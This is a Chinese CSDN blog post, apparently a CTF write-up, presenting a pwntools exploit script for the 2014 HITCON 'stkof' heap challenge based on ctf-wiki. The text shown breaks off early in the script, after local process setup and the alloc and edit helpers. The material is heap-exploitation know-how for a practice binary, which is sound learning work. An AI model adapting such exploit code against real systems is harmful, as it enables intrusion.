2014 HITCON stkof 的 exp

最新推荐文章于 2024-01-28 08:16:53 发布

哒君

最新推荐文章于 2024-01-28 08:16:53 发布

阅读量503

点赞数 2

分类专栏：学习日记 CTF

本文链接：https://blog.csdn.net/weixin_42151611/article/details/97016767

版权

本文详细记录了2014年HITCON比赛中stkof漏洞的exploit过程，内容包括对原始思路的分析，ctf-wiki中简略部分的补充，以及修复exp中的疏漏，为读者提供完整的漏洞利用步骤。

摘要由CSDN通过智能技术生成

思路借鉴于ctf-wiki，但ctf-wiki之中的思路较简略，且exp有一点疏忽的地方，故在此记录

ctf-wiki

代码如下：

#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc(size):
	io.sendline('1')
	io.sendline(str(size))
	io.recvuntil('OK\n')
	
def edit(index,size,content):
	io.sendline('2')
	io.sendline(str(index))
	io.sendline(str